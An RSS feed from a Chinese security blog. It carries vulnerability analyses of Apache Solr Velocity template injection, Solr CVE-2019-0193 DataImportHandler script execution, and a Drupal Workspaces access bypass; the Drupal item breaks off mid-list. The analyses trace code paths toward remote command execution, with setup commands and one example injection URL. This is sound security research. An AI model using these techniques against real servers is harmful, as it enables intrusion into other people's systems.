<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Vul on 诗与胡说</title>
    <link>https://kylingit.com/tags/vul/index.xml</link>
    <description>Recent content in Vul on 诗与胡说</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>zh_cn</language>
    <copyright>Copyright © 2021 Kylinking</copyright>
    <atom:link href="https://kylingit.com/tags/vul/index.xml" rel="self" type="application/rss+xml" />
    
    <item>
      <title>Apache Solr Velocity模板注入漏洞分析</title>
      <link>https://kylingit.com/blog/apache-solr-velocity%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link>
      <pubDate>Tue, 05 Nov 2019 09:40:22 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/apache-solr-velocity%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h3 id=&#34;0x01-概述&#34;&gt;0x01 概述&lt;/h3&gt;

&lt;p&gt;10月30日，研究员S00pY在GitHub发布了Apache Solr Velocity模版注入远程命令执行的poc，该漏洞通过设置资源加载属性，利用&lt;code&gt;VelocityResponseWriter&lt;/code&gt;插件执行自定义模板，进而进行远程代码执行，危害较大，下面是分析过程。&lt;/p&gt;

&lt;h3 id=&#34;0x02-环境搭建&#34;&gt;0x02 环境搭建&lt;/h3&gt;

&lt;p&gt;选择Solr 8.2.0二进制版本进行分析和复现&lt;/p&gt;

&lt;p&gt;下载地址：&lt;a href=&#34;https://archive.apache.org/dist/lucene/solr/8.2.0/&#34;&gt;https://archive.apache.org/dist/lucene/solr/8.2.0/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;调试命令&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ cd solr-8.2.0\server
$ java &amp;quot;-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=9000&amp;quot; -Dsolr.solr.home=&amp;quot;../example/example-DIH/solr/&amp;quot; -jar start.jar --module=http
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;IDEA新建远程调试即可&lt;/p&gt;

&lt;h3 id=&#34;0x03-前置概念&#34;&gt;0x03 前置概念&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;VelocityResponseWriter&lt;/code&gt;(Velocity响应编写器)是 contrib/velocity 目录中可用的可选插件。当使用诸如 “_default”、“techproducts” 和 “example / files” 等配置时，它为浏览用户界面提供动力。&lt;/p&gt;

&lt;p&gt;必须添加它的 JAR 和依赖项（通过&amp;lt;lib&amp;gt;或 solr/home lib 包含），并且必须在 solrconfig.xml 注册，默认已经注册&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1572507926900.png&#34; alt=&#34;1572507926900&#34; /&gt;&lt;/p&gt;

&lt;p&gt;其中有一个属性&lt;code&gt;params.resource.loader.enabled&lt;/code&gt;，默认是&lt;code&gt;false&lt;/code&gt;，需要手动开启&lt;/p&gt;

&lt;p&gt;该参数表示允许加载程序在 Solr 请求参数中指定模板，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;http://localhost:8983/solr/gettingstarted/select?q=\*:*&amp;amp;wt=velocity&amp;amp;v.template=xxx&amp;amp;v.template.xxx=CUSTOM%3A%20%23core_name
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;v.template=xxx&lt;/code&gt;表示创建一个名为“xxx”的模板，&lt;code&gt;v.template.xxx&lt;/code&gt;则是模板内容&lt;/p&gt;

&lt;p&gt;当这个属性设置为&lt;code&gt;true&lt;/code&gt;时用户就可以传入任意模板内容进行模板注入，从而执行任意命令&lt;/p&gt;

&lt;h3 id=&#34;0x04-漏洞分析&#34;&gt;0x04 漏洞分析&lt;/h3&gt;

&lt;h4 id=&#34;设置-params-resource-loader-enabled-属性&#34;&gt;设置&lt;code&gt;params.resource.loader.enabled&lt;/code&gt;属性&lt;/h4&gt;

&lt;p&gt;在Solr的Web.xml文件中能看到所有的请求都交给&lt;code&gt;org.apache.solr.servlet.SolrDispatchFilter&lt;/code&gt;来处理&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1572508606062.png&#34; alt=&#34;1572508606062&#34; /&gt;&lt;/p&gt;

&lt;p&gt;具体的则是其中的&lt;code&gt;doFilter()&lt;/code&gt;方法。在对路由经过初步处理后，进行两个关键操作：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;HttpSolrCall call = this.getHttpSolrCall(request, response, retry);
//...
SolrDispatchFilter.Action result = call.call();
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;初始化一个&lt;code&gt;HttpSolrCall&lt;/code&gt;对象后调用它的&lt;code&gt;call()&lt;/code&gt;方法，在&lt;code&gt;call()&lt;/code&gt;方法中会对路由中具体的组件初始化出对应的handler，再由这个handler去调用这个组件的各个方法&lt;/p&gt;

&lt;p&gt;在Solr 8.2.0中具体的路由有37个，每一类都有对应的handler，都在&lt;code&gt;org.apache.solr.handler&lt;/code&gt;中定义，例如&lt;code&gt;solr/solr/get&lt;/code&gt;对应的hendler为&lt;code&gt;RealTimeGetHandler&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1572515458181.png&#34; alt=&#34;1572515458181&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1572516210537.png&#34; alt=&#34;1572516210537&#34; /&gt;&lt;/p&gt;

&lt;p&gt;而&lt;code&gt;/solr/solr/config&lt;/code&gt; 由&lt;code&gt;SolrConfigHandler&lt;/code&gt;来分别处理GET和POST请求&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;SolrConfigHandler.Command command = new SolrConfigHandler.Command(req, rsp, httpMethod);
if (&amp;quot;POST&amp;quot;.equals(httpMethod)) {
    if (configEditing_disabled || this.isImmutableConfigSet) {
        String reason = configEditing_disabled ? &amp;quot;due to disable.configEdit&amp;quot; : &amp;quot;because ConfigSet is immutable&amp;quot;;
        throw new SolrException(ErrorCode.FORBIDDEN, &amp;quot; solrconfig editing is not enabled &amp;quot; + reason);
    }

    try {
        command.handlePOST();
    } finally {
        RequestHandlerUtils.addExperimentalFormatWarning(rsp);
    }
} else {
    command.handleGET();
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;私有类&lt;code&gt;Command&lt;/code&gt;会对当前路由的webapp和path做一个切分，对于POST请求，分别会通过&lt;code&gt;SolrConfigHandler.Command#handlePOST()&lt;/code&gt;方法来处理&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1572509660264.png&#34; alt=&#34;1572509660264&#34; /&gt;&lt;/p&gt;

&lt;p&gt;接着调用&lt;code&gt;SolrConfigHandler.Command#handleCommands()&lt;/code&gt;，Solr中&lt;code&gt;Config API&lt;/code&gt;对应的实现都是由这个方法来完成的，如&lt;code&gt;set-property&lt;/code&gt;、&lt;code&gt;unset-property&lt;/code&gt;等&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1572516461804.png&#34; alt=&#34;1572516461804&#34; /&gt;&lt;/p&gt;

&lt;p&gt;此处主要关注更新配置的参数&lt;/p&gt;

&lt;p&gt;从&lt;a href=&#34;https://lucene.apache.org/solr/guide/8_2/config-api.html#basic-commands-for-components&#34;&gt;文档&lt;/a&gt;可以了解对于&lt;code&gt;responsewriter&lt;/code&gt;的操作有下面三个&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;add-queryresponsewriter&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;update-queryresponsewriter&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;delete-queryresponsewriter&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1572516621585.png&#34; alt=&#34;1572516621585&#34; /&gt;&lt;/p&gt;

&lt;p&gt;代码中也能看到对操作名称按&lt;code&gt;-&lt;/code&gt;进行分割提取出对应操作，然后由&lt;code&gt;updateNamedPlugin()&lt;/code&gt;方法来完成配置文件的创建/覆盖操作，具体跟入看一下&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;updateNamedPlugin()&lt;/code&gt;中有个&lt;code&gt;verifyClass&lt;/code&gt;的调用，当传入参数没有设置&lt;code&gt;runtimeLib&lt;/code&gt;时会去创建class字段指定的类，所以当我们传入&lt;code&gt;VelocityResponseWriter&lt;/code&gt;时，会在其初始化的时候写入对应的参数&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1572518046827.png&#34; alt=&#34;1572518046827&#34; /&gt;&lt;/p&gt;

&lt;p&gt;然后返回到&lt;code&gt;handleCommands()&lt;/code&gt;中把配置写入到&lt;code&gt;configoverlay.json&lt;/code&gt;文件&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1572518122216.png&#34; alt=&#34;1572518122216&#34; /&gt;&lt;/p&gt;

&lt;p&gt;因此，通过&lt;code&gt;config api&lt;/code&gt;可以重新设置&lt;code&gt;VelocityResponseWriter&lt;/code&gt;的属性，为下一步加载模板提供入口&lt;/p&gt;

&lt;p&gt;三种命令的区别如下：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;add- 命令都会将新配置添加到configoverlay.json，这将覆盖solrconfig.xml组件中的任何其他设置；
update- 命令覆盖configoverlay.json中的现有设置；
delete-命令从configoverlay.json中删除设置&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4 id=&#34;注入自定义模板&#34;&gt;注入自定义模板&lt;/h4&gt;

&lt;p&gt;在&lt;code&gt;SolrDispatchFilter&lt;/code&gt;中有有一个枚举类&lt;code&gt;Action&lt;/code&gt;，定义了每个handler的所属的操作，通过ConfigAPI更新配置时，当前的action是&lt;code&gt;PROCESS&lt;/code&gt;，因此会进入&lt;code&gt;HttpSolrCall.call()&lt;/code&gt;的&lt;code&gt;PROCESS&lt;/code&gt;分支&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1572576900618.png&#34; alt=&#34;1572576900618&#34; /&gt;&lt;/p&gt;

&lt;p&gt;之后通过&lt;code&gt;QueryResponseWriterUtil.writeQueryResponse()&lt;/code&gt;进入&lt;code&gt;VelocityResponseWriter.write&lt;/code&gt;，在这个方法中完成&lt;code&gt;Velocity&lt;/code&gt;的解析&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1572577848829.png&#34; alt=&#34;1572577848829&#34; /&gt;&lt;/p&gt;

&lt;p&gt;首先会初始化一个解析模板的引擎&lt;code&gt;VelocityEngine&lt;/code&gt;，在创建引擎的过程中会检查是否允许参数资源加载，这也就是第一个请求设置的&lt;code&gt;params.resource.loader.enabled&lt;/code&gt;属性值。由于&lt;code&gt;solr.resource.loader.enabled&lt;/code&gt;默认是开启的，所以此处只需要设置params的值&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1572577993537.png&#34; alt=&#34;1572577993537&#34; /&gt;&lt;/p&gt;

&lt;p&gt;之后通过&lt;code&gt;Template.getTemplate()&lt;/code&gt;设置自定义模板，然后进入&lt;code&gt;Template.merge()&lt;/code&gt;进入AST解析，在解析过程中会调用到&lt;code&gt;ASTMethod.execute()&lt;/code&gt;方法，这个流程与之前披露的CVE-2019-11581 JIRA模板注入漏洞是一样的，不再赘述，详细可以参考&lt;a href=&#34;https://kylingit.com/blog/cve-2019-11581-atlassian-jira%E6%9C%AA%E6%8E%88%E6%9D%83%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/&#34;&gt;CVE-2019-11581 ATLASSIAN JIRA 未授权模板注入漏洞分析&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;回过头看一下&lt;code&gt;Velocity&lt;/code&gt;渲染的大致流程：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Velocity 渲染引擎首先磁盘加载模板文件到内存，然后解析模板模板文件为 AST 结构，并对 AST 中每个节点进行初始化，第二次加载同一个模板文件时候如果开启了缓存则直接返回模板资源，通过使用资源缓存节省了从磁盘加载并重新解析为 AST 的开销。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;而&lt;code&gt;ASTMethod.execute()&lt;/code&gt;方法设计之初是在&lt;code&gt;Velocity parse&lt;/code&gt;解析模板的过程中，通过反射调用相关方法完成正常模板渲染动作，例如获取背景颜色、获取 text 内容、获取页面编码等，但当此处攻击者传入精心构造的数据后，利用反射执行了&lt;code&gt;java.lang.Runtime.getRuntime&lt;/code&gt;，成功达到命令执行的目的&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;调用栈&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1572575433979.png&#34; alt=&#34;1572575433979&#34; /&gt;&lt;/p&gt;

&lt;p&gt;PoC&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1572578779708.png&#34; alt=&#34;1572578779708&#34; /&gt;&lt;/p&gt;

&lt;p&gt;参考&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://lucene.apache.org/solr/guide/8_2/config-api.html#basic-commands-for-components&#34;&gt;https://lucene.apache.org/solr/guide/8_2/config-api.html#basic-commands-for-components&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/veracode-research/solr-injection#7-cve-2019-xxxx-rce-via-velocity-template-by-_s00py&#34;&gt;https://github.com/veracode-research/solr-injection#7-cve-2019-xxxx-rce-via-velocity-template-by-_s00py&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
    <item>
      <title>CVE-2019-0193 Apache Solr远程命令执行漏洞分析</title>
      <link>https://kylingit.com/blog/cve-2019-0193-apache-solr%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link>
      <pubDate>Wed, 07 Aug 2019 10:38:17 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/cve-2019-0193-apache-solr%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h3 id=&#34;0x01-概述&#34;&gt;0x01 概述&lt;/h3&gt;

&lt;p&gt;8月1日，Apache Solr官方发布了CVE-2019-0193漏洞预警，此漏洞存在于可选模块DataImportHandler中，DataImportHandler是用于从数据库或其他源提取数据的常用模块，该模块中所有DIH配置都可以通过外部请求的dataConfig参数来设置，由于DIH配置可以包含脚本，因此该参数存在安全隐患。&lt;/p&gt;

&lt;p&gt;参考：&lt;a href=&#34;https://issues.apache.org/jira/browse/SOLR-13669&#34;&gt;https://issues.apache.org/jira/browse/SOLR-13669&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&#34;0x02-环境搭建&#34;&gt;0x02 环境搭建&lt;/h3&gt;

&lt;p&gt;选择Solr 8.1.1二进制版本进行分析和复现&lt;/p&gt;

&lt;p&gt;下载地址：&lt;a href=&#34;https://archive.apache.org/dist/lucene/solr/8.1.1/&#34;&gt;https://archive.apache.org/dist/lucene/solr/8.1.1/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;调试命令&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ cd solr-8.1.1\server
$ java &amp;quot;-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=9000&amp;quot; -Dsolr.solr.home=&amp;quot;../example/example-DIH/solr/&amp;quot; -jar start.jar --module=http
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;IDEA新建远程调试即可&lt;/p&gt;

&lt;h3 id=&#34;0x03-前置概念&#34;&gt;0x03 前置概念&lt;/h3&gt;

&lt;p&gt;solr支持从Dataimport导入自定义数据，dataconfig需要满足一定语法，参考&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://lucene.apache.org/solr/guide/6_6/uploading-structured-data-store-data-with-the-data-import-handler.html&#34;&gt;https://lucene.apache.org/solr/guide/6_6/uploading-structured-data-store-data-with-the-data-import-handler.html&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://cwiki.apache.org/confluence/display/solr/DataImportHandler&#34;&gt;https://cwiki.apache.org/confluence/display/solr/DataImportHandler&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;其中ScriptTransformer可以编写自定义脚本，支持常见的脚本语言如Javascript、JRuby、Jython、Groovy和BeanShell&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;ScriptTransformer&lt;/code&gt;容许用脚本语言如Javascript、JRuby、Jython、Groovy和BeanShell转换，函数应当以行（类型为&lt;code&gt;Map&amp;lt;String,Object&amp;gt;&lt;/code&gt;）为参数，可以修改字段。脚本应当写在数据仓库配置文件顶级的&lt;code&gt;script&lt;/code&gt;元素内，而转换器属性值为&lt;code&gt;script:函数名&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;使用示例：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;dataconfig&amp;gt;
  &amp;lt;script&amp;gt;&amp;lt;![CDATA[
    function f2c(row) {
      var tempf, tempc;
      tempf = row.get(&#39;temp_f&#39;);
      if (tempf != null) {
        tempc = (tempf - 32.0)*5.0/9.0;
        row.put(&#39;temp_c&#39;, temp_c);
      }
      return row;
    }
    ]]&amp;gt;
  &amp;lt;/script&amp;gt;
  &amp;lt;document&amp;gt;

    &amp;lt;entity name=&amp;quot;e1&amp;quot; pk=&amp;quot;id&amp;quot; transformer=&amp;quot;script:f2c&amp;quot; query=&amp;quot;select * from X&amp;quot;&amp;gt;
    &amp;lt;/entity&amp;gt;
  &amp;lt;/document&amp;gt;
&amp;lt;/dataConfig&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Nashorn引擎&lt;/p&gt;

&lt;p&gt;在Solr中解析js脚本使用的是Nashorn引擎，可以通过&lt;code&gt;Java.type&lt;/code&gt;API在JavaScript中引用，就像Java的&lt;code&gt;import&lt;/code&gt;一样，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;var MyJavaClass = Java.type(`my.package.MyJavaClass`);

var result = MyJavaClass.sayHello(&#39;Nashorn&#39;);
print(result);
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;0x04-漏洞分析&#34;&gt;0x04 漏洞分析&lt;/h3&gt;

&lt;p&gt;Solr处理dataimport请求时，首先进入dataimport/DataImportHandler的handleRequestBody方法，当前请求的command为full-import，因此通过maybeReloadConfiguration重新加载配置&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1565157550593.png&#34; alt=&#34;1565157550593&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在maybeReloadConfiguration中通过params.getDataConfig()判断了post的数据(dataConfig)是否为空，如果不是则通过loadDataConfig来加载&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1565157730103.png&#34; alt=&#34;1565157730103&#34; /&gt;&lt;/p&gt;

&lt;p&gt;随后在loadDataConfig中通过readFromXml方法解析提交的配置数据中的各个标签，比如&lt;code&gt;document&lt;/code&gt;，&lt;code&gt;script&lt;/code&gt;，&lt;code&gt;function&lt;/code&gt;，&lt;code&gt;dataSource&lt;/code&gt;等，传入的script自定义脚本即在此处被存入script变量，递归解析完所有标签构建出DIHConfiguration对象并返回。&lt;/p&gt;

&lt;p&gt;获取到配置信息后通过this.importer.runCmd()方法处理导入过程&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;this.importer.runCmd(requestParams, sw);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1565158761569.png&#34; alt=&#34;1565158761569&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在doFullImport中，首先会创建一个DocBuilder对象，DocBuilder的主要功能是从给定配置中创建Solr文档，同时会记录一些状态信息。随后通过execute()方法会通过遍历Entity的所有元素来解析config结构，最终得到是一个EntityProcessorWrapper对象。EntityProcessorWrapper是一个比较关键的类，继承自EntityProcessor，在整个解析过程中起到重要的作用，可以参考&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://lucene.apache.org/solr/8_1_1/solr-dataimporthandler/org/apache/solr/handler/dataimport/EntityProcessorWrapper.html&#34;&gt;https://lucene.apache.org/solr/8_1_1/solr-dataimporthandler/org/apache/solr/handler/dataimport/EntityProcessorWrapper.html&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;在解析完config数据后solr会把最后更新时间记录到配置文件中，这个时间是为了下次进行增量更新的时候用的。接着通过this.dataImporter.getStatus()判断当前数据导入是“全部导入”还是“增量导入”，两个操作对应的方法分别为doDelta()和doFullDump()，此处的操作是full-import，因此调用doFullDump()&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1565165153995.png&#34; alt=&#34;1565165153995&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在doFullDump()中调用的是DocBuilder.buildDocument()方法，这个方法会为发送的配置数据的每一个processor做解析，当发送的entity中含有&lt;code&gt;Transformers&lt;/code&gt;时，会进行相应的转换操作，例如转换成日期格式(DateFormatTransformer)、根据正则表达式转换(RegexTransformer)等，这次出现问题的是ScriptTransformer，可以根据用户自定义的脚本进行数据转换。由于脚本内容完全是用户控制的，当指定的script含有恶意代码时就会被执行，下面看一下Solr中如何执行javascript代码：&lt;/p&gt;

&lt;p&gt;在读取EntityProcessorWrapper的每一个元素时，是通过epw.nextRow()调用的，它返回的是一个Map对象，进入EntityProcessorWrapper.nextRow方法&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1565166416846.png&#34; alt=&#34;1565166416846&#34; /&gt;&lt;/p&gt;

&lt;p&gt;通过applyTransformer()执行转换，调用的是相应Transformer的transformRow方法&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1565166667450.png&#34; alt=&#34;1565166667450&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ScriptTransformer&lt;/code&gt;允许多种脚本语言调用，如Javascript、JRuby、Jython、Groovy和BeanShell等，transformRow()方法则会根据指定的语言来初始化对应的解析引擎，例如此处初始化的是scriptEngine，用来解析JavaScript脚本&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1565167039401.png&#34; alt=&#34;1565167039401&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Solr中默认的js引擎是Nashorn，Nashorn是于Java 8中用于取代Rhino（Java 6，Java 7）的JavaScript引擎，在js中可以通过&lt;code&gt;Java.type&lt;/code&gt;引用Java类，就像Java的&lt;code&gt;import&lt;/code&gt;一样，此处就可以通过这个语法导入任意Java类。&lt;/p&gt;

&lt;p&gt;随后通过反射调用自定义的函数并执行，例如通过java.lang.Runtime执行系统命令&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1565166706725.png&#34; alt=&#34;1565166706725&#34; /&gt;&lt;/p&gt;

&lt;p&gt;整个漏洞就是因为可以通过&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;标签指定ScriptTransformer，而在这个标签内可以导入任意的java类，Solr也并没有对标签内容做限制，导致可以执行任意代码。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1565167939907.png&#34; alt=&#34;1565167939907&#34; /&gt;&lt;/p&gt;

&lt;p&gt;调用栈情况&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1565161745688.png&#34; alt=&#34;1565161745688&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;0x05-补充&#34;&gt;0x05 补充&lt;/h3&gt;

&lt;p&gt;值得注意的是，官方给出的临时修复方案并不能缓解漏洞，当把相应的index core的配置文件置为空时，dataimport的时候只是获取不到默认的配置，但是依然能够通过这个接口发送PoC，漏洞也依然能够触发，解决办法是把相应配置文件中的dataimport requestHandler全部注释并重启Solr服务器，才能彻底关闭这个接口缓解漏洞。&lt;/p&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
    <item>
      <title>SA-CORE-2019-008 Drupal访问绕过漏洞分析</title>
      <link>https://kylingit.com/blog/sa-core-2019-008-drupal%E8%AE%BF%E9%97%AE%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link>
      <pubDate>Fri, 19 Jul 2019 10:27:05 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/sa-core-2019-008-drupal%E8%AE%BF%E9%97%AE%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h3 id=&#34;0x01-概述&#34;&gt;0x01 概述&lt;/h3&gt;

&lt;p&gt;7月17日，Drupal官方发布Drupal核心安全更新公告，修复了一个访问绕过漏洞，攻击者可以在未授权的情况下发布/修改/删除文章，CVE编号&lt;code&gt;CVE-2019-6342&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;公告地址：&lt;a href=&#34;https://www.drupal.org/sa-core-2019-008&#34;&gt;https://www.drupal.org/sa-core-2019-008&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&#34;0x02-受影响的版本&#34;&gt;0x02 受影响的版本&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Drupal Version == 8.7.4&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;0x03-漏洞复现&#34;&gt;0x03 漏洞复现&lt;/h3&gt;

&lt;p&gt;安装&lt;code&gt;Drupal 8.7.4&lt;/code&gt;版本，登录管理员账户，进入后台&lt;code&gt;/admin/modules&lt;/code&gt;，勾选&lt;code&gt;Workspaces&lt;/code&gt;模块并安装&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719101447.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在页面上方出现如下页面则安装成功，管理员可以切换&lt;code&gt;Stage&lt;/code&gt;模式或者&lt;code&gt;Live&lt;/code&gt;模式&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719104359.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;另外开启一个浏览器访问首页（未登录任何账户），访问&lt;a href=&#34;http://127.0.0.1/drupal-8.7.4/node/add/article&#34;&gt;http://127.0.0.1/drupal-8.7.4/node/add/article&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;可直接添加文章，无需作者或管理员权限。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719104407.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;受影响操作包括基本文章操作（添加、修改、删除、上传附件等）&lt;/p&gt;

&lt;h3 id=&#34;0x04-漏洞分析&#34;&gt;0x04 漏洞分析&lt;/h3&gt;

&lt;h4 id=&#34;workspaces的功能&#34;&gt;Workspaces的功能&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;Workspaces&lt;/code&gt;是&lt;code&gt;Drupal 8.6&lt;/code&gt;核心新增的实验模块，主要功能是方便管理员一次性发布/修改多个内容。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Workspaces&lt;/code&gt;有两种模式，分别为&lt;code&gt;Stage&lt;/code&gt;模式和&lt;code&gt;Live&lt;/code&gt;模式，，默认为&lt;code&gt;Live&lt;/code&gt;模式，两者的区别在于：&lt;/p&gt;

&lt;ul&gt;
